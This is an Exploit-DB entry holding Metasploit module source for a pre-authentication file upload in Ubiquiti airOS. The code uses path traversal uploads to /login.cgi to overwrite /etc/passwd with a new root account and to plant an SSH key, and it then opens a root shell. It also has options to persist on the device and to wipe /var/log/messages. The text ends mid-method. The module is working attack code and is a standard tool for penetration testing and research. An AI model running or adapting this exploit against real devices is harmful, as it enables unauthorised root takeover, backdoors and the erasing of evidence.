Exploit-DB #39853
Description: Ubiquiti airOS - Arbitrary File Upload (Metasploit)
Type: remote
Platform: unix
Date: 2016-05-25
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  # See note about overwritten files
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'               => 'Ubiquiti airOS Arbitrary File Upload',
      'Description'        => %q{
        This module exploits a pre-auth file upload to install a new root user
        to /etc/passwd and an SSH key to /etc/dropbear/authorized_keys.

        FYI, /etc/{passwd,dropbear/authorized_keys} will be overwritten.
        /etc/persistent/rc.poststart will be overwritten if PERSIST_ETC is true.

        This method is used by the "mf" malware infecting these devices.
      },
      'Author'             => [
        '93c08539', # Vulnerability discovery
        'wvu'       # Metasploit module
      ],
      'References'         => [
        %w{EDB 39701},
        %w{URL https://hackerone.com/reports/73480}
      ],
      'DisclosureDate'     => 'Feb 13 2016',
      'License'            => MSF_LICENSE,
      'Platform'           => 'unix',
      'Arch'               => ARCH_CMD,
      'Privileged'         => true,
      'Payload'            => {
        'Compat'           => {
          'PayloadType'    => 'cmd_interact',
          'ConnectionType' => 'find'
        }
      },
      'Targets'            => [
        ['Ubiquiti airOS < 5.6.2', {}]
      ],
      'DefaultTarget'      => 0,
      'DefaultOptions'     => {
        'SSL' => true
      }
    ))

    register_options([
      Opt::RPORT(443),
      OptPort.new('SSH_PORT', [true, 'SSH port', 22])
    ])

    register_advanced_options([
      OptBool.new('PERSIST_ETC', [false, 'Persist in /etc/persistent', false]),
      OptBool.new('WIPE_LOGS',   [false, 'Wipe /var/log/messages', false]),
      OptBool.new('SSH_DEBUG',   [false, 'SSH debugging', false]),
      OptInt.new('SSH_TIMEOUT',  [false, 'SSH timeout', 10])
    ])
  end

  def exploit
    print_status('Uploading /etc/passwd')
    upload_etc_passwd
    print_status('Uploading /etc/dropbear/authorized_keys')
    upload_authorized_keys
    print_status("Logging in as #{username}")
    vprint_status("Password: #{password}")
    vprint_status("Private key:\n#{private_key}")
    if (ssh = ssh_login)
      print_good("Logged in as #{username}")
      handler(ssh.lsock)
    end
  end

  def on_new_session(session)
    super
    if datastore['PERSIST_ETC']
      print_status('Persisting in /etc/persistent')
      persist_etc(session)
    end
    if datastore['WIPE_LOGS']
      print_status('Wiping /var/log/messages')
      wipe_logs(session)
    end
  end

  def upload_etc_passwd
    mime = Rex::MIME::Message.new
    mime.add_part(etc_passwd, 'text/plain', 'binary',
                  'form-data; name="passwd"; filename="../../etc/passwd"')

    send_request_cgi(
      'method' => 'POST',
      'uri'    => '/login.cgi',
      'ctype'  => "multipart/form-data; boundary=#{mime.bound}",
      'data'   => mime.to_s
    )
  end

  def upload_authorized_keys
    mime = Rex::MIME::Message.new
    mime.add_part(authorized_keys, 'text/plain', 'binary',
                  'form-data; name="authorized_keys"; ' \
                  'filename="../../etc/dropbear/authorized_keys"')

    send_request_cgi(
      'method' => 'POST',
      'uri'    => '/login.cgi',
      'ctype'  => "multipart/form-data; boundary=#{mime.bound}",
      'data'   => mime.to_s
    )
  end

  def ssh_login
    ssh_opts = {
      port:               datastore['SSH_PORT'],
      auth_methods:       %w{publickey password},
      key_data:           [private_key],
      # Framework options
      msframework:        framework,
      msfmodule:          self,
      proxies:            datastore['Proxies']
    }

    ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    begin
      ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
        Net::SSH.start(rhost, username, ssh_opts)
      end
    rescue Net::SSH::Exception => e
      vprint_error("#{e.class}: #{e.message}")
      return nil
    end

    if ssh
      report_vuln(
        host: rhost,
        name: self.name,
        refs: self.references,
        info: ssh.transport.server_version.version
      )
      report_note(
        host: rhost,
        port: datastore['SSH_PORT'],
        type: 'airos.ssh.key',
        data: private_key
      )
      return Net::SSH::CommandStream.new(ssh, '/bin/sh', true)
    end

    nil
  end

  #
  # Persistence and cleanup methods
  #

  def persist_etc(session)
    mime = Rex::MIME::Message.new
    mime.add_part(rc_poststart, 'text/plain', 'binary',
                  'form-data; name="rc.poststart"; ' \
                  'filename="../../etc/persistent/rc.poststart"')

    send_request_cgi(
      'method' => 'POST',
      'uri'    => '/login.cgi',
      'ctype'  => "multipart/form-data; boundary=#{mime.bound}",
      'data'   => mime.to_s
    )

    # http://www.hwmn.org/w/Ubiquity_HOWTO
    commands = [
      "mkdir #{username}",
      "cp /etc/passwd /etc/dropbear/authorized_keys #{username}",
      'cfgmtd -wp /etc'
    ]

    commands.each do |command|
      session.shell_command_token(command)
    end
  end

  def wipe_logs(session)
    session.shell_command_token('> /var/log/messages')
  end

  #
  # /etc/passwd methods
  #

  def etc_passwd
    "#{username}:#{hash(password)}:0:0:Administrator:/etc/persistent:/bin/sh\n"
  end

  def hash(password)
    # http://man7.org/linux/man-pages/man3/crypt.3.html
    salt = Rex::Text.rand_text(2, '', Rex::Text::AlphaNumeric + './')
    password.crypt(salt)
  end

  def username
    @username ||= Rex::Text.rand_text_alpha_lower